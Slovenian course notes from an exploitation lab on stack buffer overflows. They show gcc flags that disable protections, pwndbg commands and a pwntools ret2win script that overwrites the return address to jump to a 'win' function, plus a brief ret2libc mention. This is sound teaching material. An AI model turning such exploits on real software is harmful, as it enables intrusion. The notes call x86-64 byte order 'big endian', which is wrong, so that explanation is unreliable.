- če povozimo return address lahko naredimo, da main kliče samega sebe (prejšnja vaja)
- za skoke nazaj rabimo return address in kje se je prejšnji stack začel (to je base pointer)
- za skoke rabimo vedeti return address in base pointer
- ret2win - skočiš na "win" function
- rabimo compilat brez kanarčka: `gcc -fno-stack-protector -z execstack -no-pie -o server server.c`

```
pwndbg main
run // požene program, lahko samo `r`
b main // breakpoint na prvo vrstico main
r
```

- RBP = base pointer
- RSP = stack pointer
- na začetku kažeta na isto zadevo
- RIP = instruction pointer (program counter) - kaže na naslov naslednjega ukaza

```
b* main // se break-a po tem, ko se prvi ukaz zažene, ne pred tem tako kot pri `b`
```

```
ni // next instruction
```

- stack je na dnu pomnilnika, zato je naslov `0x7fffffff...`
- če vpišemo preveč znakov (A):
  - ```
    ▶ 0         0x401188 main+24
      1 0x4141414141414141 None
      2   0x7fff00414141 None
      3   0x7fffffffd828 None
      4      0x100400040 None
      5         0x401170 main
      6   0x7fffffffd828 None
      7 0x2d6301bb70e994c None
    ```
  - s tem smo povozili stack, na stacku je shranjeno zaporedje klicov funkcij - ko pridemo do return, bo poskusilo skočiti na `0x4141414141414141` (na naslov na vrhu stacka) (to so v bistvu ASCII 'A')

```
c // continue, da gre naprej do breakpointa, ki ga imamo v main
```
```

- `x/100gx $rsp` - dobimo memory map
- lahko rabimo alignment na nekaj bytov, zato naš char array ni res 20B, ampak je 32 ali 40 ...

```
from pwn import *

# p = process('./main')

p = gdb.debug("./main", "b * main") # drugi parameter je string stvari, ki jih bomo dali debugggerju, tukaj je to en breakpoint

# p.sendline(b"burek") # b pomeni byte string - vsak character je en byte (kot ASCII), ne moreš imeti UTF8

# b"\x41" = "A"

# s = p.recvline()
# print(s)

# p.sendline(b"A"*70)

p.sendline(b"A"*20 + b"B"*8 + b"C"*8)

p.interactive() # vklopi interactive način, da se lahko pogovarjam s programom
```

- ```
  RBP  0x7ffee922dde0 ◂— 'BBBBBBBBCCCCCCCC'
  RSP  0x7ffee922ddc0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC'
  ```
- da ugotovimo, kje v pomnilniku je `win` funkcija, moramo pogledati disassembly:
  - `disass main`
  - `disass win`

`0x0000000000401156`
`b"\x00\x00\x00\x00\x00\x40\x11\x56"`

- rabimo v bistvu ravno okoli obrniti, ker rabimo big endian (vodila na procesorju so tako postavljena na RAM, da se ravno zarotira)
- `b"\x56\x11\x40\x00\x00\x00\x00\x00"`
- pwntools funkcija `p64` - `p64(0x401156)`

```
from pwn import *

# p = process('./main')
p = gdb.debug("./main", "b * main") # drugi parameter je string stvari, ki
```
```

```
jih bomo dali debugggerju, tukaj je to en breakpoint

# p.sendline(b"burek") # b pomeni byte string - vsak character je en byte
(kot ASCII), ne moreš imeti UTF8
# b"\x41" = "A"

# s = p.recvline()
# print(s)

# p.sendline(b"A"*70)
p.sendline(b"A"*32 + b"B"*8 + p64(0x401156))

p.interactive() # vklopi interactive način, da se lahko pogovarjam s
programom
```

- po koncu main, bo skočilo v `win` funkcijo in izpisalo "You win"
- ret2libc - vemo, kje je puts in kje ima libc `system` - lahko skočimo na `system`